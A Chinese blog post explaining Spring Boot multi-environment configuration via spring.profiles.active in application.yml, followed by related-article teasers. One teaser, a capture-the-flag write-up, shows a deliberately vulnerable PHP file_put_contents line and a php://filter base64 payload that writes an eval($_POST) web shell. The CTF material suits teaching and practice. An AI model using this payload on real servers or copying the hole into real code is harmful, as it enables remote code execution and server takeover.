《Spring》--使用application.yml特性提供多环境开发解决方案/开发/测试/线上--方案2

阿丹-有话说:

        第二种多环境的配置选择解决方案,这个更加的灵活没在配置方面都选择了一种yml的书写方式。

原理:

在Spring Boot中,spring.profiles.active 属性用于指定当前应用程序应激活哪个环境配置。当Spring Boot应用启动时,它会读取应用的配置文件(通常是application.properties或application.yml格式),查找这个属性来决定加载哪些特定于环境的额外配置。

具体原理如下:

  1. 多环境配置:Spring Boot支持为不同的环境创建多个配置文件。例如,我们可以有application-test.ymlapplication-dev.ymlapplication-prod.yml等,分别对应测试环境、开发环境和生产环境的配置。

  2. 激活配置:通过设置spring.profiles.active属性的值,可以指定要激活哪一个环境配置。如上所示配置,将active属性设置为test意味着应用将在启动时加载application-test.yml中的配置,同时也会合并主配置文件application.ymlapplication.properties中的通用配置。

  3. 配置加载顺序:Spring Boot在启动时按照一定的优先级加载这些配置文件。默认情况下,先加载application.ymlapplication.properties,然后根据spring.profiles.active指定的环境加载相应的配置文件,并覆盖通用配置中相同键的值。

  4. 命令行参数与环境变量:除了在配置文件中直接指定外,还可以通过命令行参数(如 -Dspring.profiles.active=test)或者系统环境变量的方式来动态切换激活的环境配置。

总结起来,spring.profiles.active=test的作用就是指示Spring Boot框架在运行时加载并使用application-test.yml中的配置信息,从而实现应用在不同环境下的平滑切换。

整体配置文件结构:

配置文件的前缀不用动,后缀改掉就可以。

application.yml中的选择配置文件的重要语句。

spring:
  profiles:
#    active: formaldocker
#    active: docker
    active: test

使用注意:

这个方式需要自己书写三种正确的配置文件yml,一些公用的配置可以写在公共的application.yml中,这样就可以完成了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/320460.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Centos7.9忘记Root密码找回

Centos7.9忘记Root密码找回 1. 背景2. 目的3. 具体操作3.1 重启系统3.2 增加代码3.3 单用户模式3.4 单用户模式3.5 修改密码3.6 创建文件3.7 重启验证 1. 背景 由于物理主机上安装了多个虚拟机,部分虚拟机忘记了root密码,前段时间刚好要用这个虚拟机&…

【MySQL】创建和管理表

文章目录 前置 标识符命名规则一、MySQL数据类型二、创建和管理数据库2.1 创建数据库2.2 使用数据库2.3 修改数据库2.4 删除数据库 三、创建表3.1 创建方式一3.2 创建方式二3.3 查看数据表结构 四、修改表4.1 增加一个列4.2 修改一个列4.3 重命名一个列4.4 删除一个列 五、重命…

嘘……快进来!这儿有最新版Microsoft照片程序的安装秘籍!(附安装引导程序下载)

网管小贾 / sysadm.cc 最近啊有不少小伙伴向我反馈,自个的 Windows 10 系统里边居然没有 Microsoft 照片 程序。 我觉得有点不可思议,为啥呢,因为他们的电脑是新买的! 你看哈,系统是 22H2 最新版,安装日期…

云卷云舒:独立式向量数据库?数据库向量式插件?

云卷云舒:算力网络云原生(下):云数据库发展的新篇章-CSDN博客https://blog.csdn.net/bishenghua/article/details/135050556 圈内人都知道,2023 年是向量数据库的元年,最初起源于 2023年3月英伟达的黄仁勋…

分布式链路追踪专栏,分布式链路追踪:Skywalking集群管理设计

SkyWalking 是一个开源 APM 系统,包括针对 Cloud Native 体系结构中的分布式系统的监视,跟踪,诊断功能。核心功能如下: 服务、服务实例、端点指标分析; 根本原因分析,在运行时分析代码; 服务拓…

本地一键部署grafana+prometheus

本地k8s集群内一键部署grafanaprometheus 说明: 此一键部署grafanaPrometheus已包含: victoria-metrics 存储prometheus-servergrafanaprometheus-kube-state-metricsprometheus-node-exporterblackbox-exporter grafana内已导入基础的dashboard【7个…

PXIe-6396国产替代,8路AI(18位,14 MS/s/ch),2路A​O,24路DIO,PXI多功能I/O模块

PXIe,8路AI(18位,14 MS/s/ch),2路A​O,24路DIO,PXI多功能I/O模块 PXIe-6396是一款同步采样的多功能DAQ设备。该模块提供了模拟 I/O、数字I/O、四个32位计数器和模拟和数字触发。板载NI-STC3定时…

GAN生成对抗网络介绍

GAN简介 GAN 全称是Generative Adversarial Networks,即生成对抗网络。 “生成”表示它是一个生成模型,而“对抗”代表它的训练是处于一种对抗博弈状态中的。 一个可以自己创造数据的网络! 判别模型与生成模型 判别模型(Discr…

MobaXterm连接服务器步骤

双击该软件 选择Session 点击SSH 填写服务器的IP地址、服务器的用户名称、Port这个端口号一般都是这个,但有些可能例外,自己注意一下,最后点击OK就行 这个五角星点击一下,就可以看到您自己刚才的配置。 鼠标左键双击&…

python基础-base64编码理解

目录 1、base64是什么 2、base64有什么用 3、base64如何用 4、理解base64 5、扩展 1、base64是什么 base64 就是包括字母a-z,A-Z,数字0-9,符号“”,“/”一共64个字符的字符集;还有一个‘’ 字符,占位补充; …

【已解决】C语言进行多线程数据切割查找数据

第一次听到多线程切割,笔者也没听的太懂,但发现多线程数据切割其实就是分出多个线程,进行处理查找数据的事情。而为什么切割呢,就是因为数据不够线程数分的,假如1k个数据,7个线程,这里不能够整除…

吐血整理,性能测试重要指标+设计真实负载(详细总结)

目录:导读 前言一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结(尾部小惊喜) 前言 1、性能测试之重要…

初识C语言·数据存储

1 整数在内存中的存储 前面讲到,整数在计算机中的存储是以补码形式存储的,其中正数和负数也有些许差别,正数的三码相同,负数的就不相同了,那么这里就涉及原码反码补码。 原码:直接把整数用二进制的方式表…

Pandas:Python可视化神器

大家好,数据可视化可以让我们很直观的发现数据中隐藏的规律,察觉到变量之间的互动关系,可以帮助我们更好的给他人解释现象,做到一图胜千文的说明效果。 常见的数据可视化库有: matplotlib 是最常见的2维库,可以算作可…

Codeforces Round 913 (Div. 3)E 不进位各数位和与打表

Problem - E - Codeforces digsum(a)digsum(b)digsum(c)digsum(n) 要点一: 当左边和发生进位,比如56 11,那么数位和会变小。其实下一位就是相加后对9取余,各数位和必定变小的。 要点二: 然后就是组合情况了&#x…

[NAND Flash 5.5] PLC NAND 虽来但远

依公知及经验整理,原创保护,禁止转载。 专栏 《深入理解NAND Flash》 <<<< 返回总目录 <<<< 前言 图片来源: 存储随笔 2022年8月份在美国FMS峰会上,Solidigm公司(前身为Intel NAND部门)展示了全球第一款基于PLC NAND研发的SSD。这也标志着,PLC…

大模型推理优化实践:KV cache 复用与投机采样

作者&#xff1a;米基 一、背景 RTP-LLM 是阿里巴巴大模型预测团队开发的大模型推理加速引擎&#xff0c;作为一个高性能的大模型推理解决方案&#xff0c;它已被广泛应用于阿里内部。该引擎与当前广泛使用的多种主流模型兼容&#xff0c;并通过采用高性能的 CUDA 算子来实现了…

polar CTF 写shell

一、题目 <?php /*PolarD&N CTF*/highlight_file(__FILE__);file_put_contents($_GET[filename],"<?php exit();".$_POST[content]);?>二、解题 payload ?filenamephp://filter/convert.base64-decode/resourceshell.php #<?eval($_POST[1]);…

maven镜像源设置aliyun提升下载速度

一、打开pom.xml project下在添加 <repositories><repository><id>aliyunmaven</id><name>aliyun</name><url>https://maven.aliyun.com/repository/public</url></repository><repository><id>central2&l…

PriorityQueue优先队列使用的注意事项

PriorityQueue只保证队列的头和尾是指定序列的两个端点值&#xff0c;不是给它的元素排序了。 所以在使用的时候直接打印 PriorityQueue &#xff0c;或者用 增强for 遍历出来的数据都不是有序的。正确的遍历方式如下&#xff1a; // 按照排序顺序输出 PriorityQueue 中的元素…